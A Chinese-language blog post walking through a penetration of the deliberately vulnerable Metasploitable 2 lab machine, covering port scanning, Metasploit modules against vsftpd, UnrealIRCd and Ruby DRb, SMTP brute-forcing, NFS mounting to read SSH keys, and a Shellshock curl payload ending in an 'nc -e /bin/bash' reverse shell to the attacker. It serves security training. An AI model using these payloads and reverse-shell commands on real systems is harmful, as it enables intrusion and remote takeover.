freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

VulnHub-METASPLOITABLE-2 靶场渗透
8848 2021-08-25 00:49:34 230025

靶场信息

地址:https://www.vulnhub.com/entry/metasploitable-2,29/

发布日期:2012 年 6 月 12 日

难度:容易

目标:获取root shell

描述:Some folks may already be aware of Metasploitable, an intentionally vulnerable virtual machine designed for training, exploit testing, and general target practice. Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable applications. I am happy to announce the release of Metasploitable 2, an even better punching bag for security tools like Metasploit, and a great way to practice exploiting vulnerabilities that you might find in a production environment.

For download links and a walkthrough of some of the vulnerabilities (and how to exploit them), please take a look at the Metasploitable 2 Exploitability Guide.

Have fun!

Source: https://community.rapid7.com/community/metasploit/blog/2012/06/12/introducing-metasploitable-2

The VulnHub mirror has had a few edits done to the original - allowing for more VMware features.

前言

本次靶场使用VMware进行构建,使用nat网络模式。描述中说到Metasploitable 专注于操作系统和网络服务层的漏洞,而不是自定义的易受攻击的应用程序。所以本次演练主要使用metasploite攻击,熟练metasploite使用。

一、信息收集

1)确定目标

使用netdiscover扫描10.0.1.0网段存活主机。攻击机kali ip:10.0.1.12

netdiscover -r 10.0.1.0/24 -i eth0

得到ip地址:10.0.1.8

image-20210823172500612

2)端口扫描

nmap -v -T4 -p- -A -oN nmap.log 10.0.1.10
PORT      STATE SERVICE     VERSION
21/tcp   open ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet     Linux telnetd
25/tcp   open smtp       Postfix smtpd
53/tcp   open domain     ISC BIND 9.4.2
80/tcp   open http       Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open rpcbind     2 (RPC #100000)
139/tcp   open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open exec       netkit-rsh rexecd
513/tcp   open login       OpenBSD or Solaris rlogind
514/tcp   open shell       Netkit rshd
1099/tcp open java-rmi   GNU Classpath grmiregistry
1524/tcp open bindshell   Metasploitable root shell
2049/tcp open nfs         2-4 (RPC #100003)
2121/tcp open ftp         ProFTPD 1.3.1
3306/tcp open mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc         VNC (protocol 3.3)
6000/tcp open X11         (access denied)
6667/tcp open irc         UnrealIRCd
6697/tcp open irc         UnrealIRCd
8009/tcp open ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open http       Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
36151/tcp open nlockmgr    1-4 (RPC #100021)
51868/tcp open status      1 (RPC #100024)
54709/tcp open java-rmi   GNU Classpath grmiregistry
59419/tcp open mountd      1-3 (RPC #100005)

3)目录扫描

dirsearch -u http://10.0.1.10

image-20210825003505267

二、漏洞利用

1)vsftpd 2.3.4(CVE-2011-2523)

https://nvd.nist.gov/vuln/detail/CVE-2011-2523

image-20210824205504005

2)medusa爆破smtp

medusa -h 10.0.1.10 -u msfadmin -P /usr/share/metasploit-framework/data/wordlists/unix_users.txt -M smtp

3)telnet

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 10.0.1.10
run

image-20210824235611324

image-20210824235646790

4)由telnet得到用户密码&提权

msfadmin/msfadmin

使用sudo -i提权

image-20210824235832767

5)Apache httpd

image-20210824225647208

image-20210824225707670

获取www-data权限shell

image-20210824225732749

6)DVWA

http://10.0.1.10/dvwa/login.php
默认密码admin/password

7)nfs Service

mkdir /tmp/sshkey
mount -t nfs 10.0.1.10:/ /tmp/sshkey
cat /tmp/sshkey/root/.ssh/authorized_keys

image-20210824233117538

key位置
/tmp/sshkey/home/msfadmin/.ssh/authorized_keys

8)Metasploitable Backdoor

nc 10.0.1.10 1524

image-20210824234209519

9)GNU Classpath RMI Registry(CVE-2011-3556)

https://cvedetails.com/cve/CVE-2011-3556/

search java rmi

image-20210824222420829

image-20210824222510233

image-20210824222544210

10)Samba(CVE-2007-2447)

image-20210824210252563

11)distccd(CVE-2004-2687)

https://cvedetails.com/cve/CVE-2004-2687/

image-20210824214554237

image-20210824214627609

12)PostgreSQL默认口令

image-20210824215617259

13)Unreal IRCd

use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.0.1.10
run

image-20210824225325181

image-20210824225420194

14)Ruby DRb RMI

use exploit/linux/misc/drb_remote_codeexec

image-20210824224842867

set RHOST 10.0.1.10
run

image-20210824224942158

15)shellshock构造利用

在此靶机中扫到了cgi-bin路径,但并不存在shellshock,这里构造这个漏洞来学习技巧

(1)shellshock漏洞

存在漏洞版本可以执行任意代码。该漏洞在于用户可以在包含函数定义的 bash中创建环境变量的方式。函数定义后的尾随命令被错误执行,导致代码执行。该漏洞存在于4.3版本之前的所有bash 版本中。

(2)设置环境

登录靶机,创建CGI bash脚本。

1 使用msfadmin/msfadmin登录后,使用sudo -i提权到root,写入bash文件

cd /usr/lib/cgi-bin/
# 写入shellshock.sh
#! /bin/bash
echo "Content-type:text/html"
# 执行
chmod 755

访问

image-20210825002445896

(3)命令执行

# 漏洞利用参考
https://github.com/opsxcq/exploit-CVE-2014-6271
# payload
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \http://localhost:8080/cgi-bin/vulnerable

# 执行
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'id'" \http://10.0.1.10/cgi-bin/shellshock.sh

uid=33(www-data) gid=33(www-data) groups=33(www-data)

(4)反弹shell

# 判断靶机是否存在nc命令
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://10.0.1.10/cgi-bin/shellshock.sh

/usr/bin/nc
# 本地执行监听
nc -lvvp 8899
# nc反弹shell命令
nc -e /bin/bash x.x.x.x port

nc -e /bin/bash 10.0.1.12 8899
# 最终语句如下
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 10.0.1.12 8899'" \http://10.0.1.10/cgi-bin/shellshock.sh

image-20210825003156385

参考

国外大佬文章https://tehaurum.wordpress.com/2015/06/14/metasploitable-2-walkthrough-an-exploitation-guide/

shellshock参考https://ethicalhackingguru.com/how-to-exploit-shellshock-on-metasploitable-2/

telnet参考https://resources.infosecinstitute.com/topic/metasploitable-2-walkthrough/

镜像下载

链接:https://pan.baidu.com/s/12Xcgy9wwfQvZbTMUzsFV4A 
提取码:miss
# VulnHub
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 8848 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
VulnHub
8848 LV.5
alert('1')
  • 40 文章数
  • 142 关注者
新款信息收集神器:0.zone
2022-05-25
upload-labs二次渲染之png写入PLTE 数据块
2021-12-16
GitLab 远程命令执行漏洞复现(CVE-2021-22205)
2021-11-02
文章目录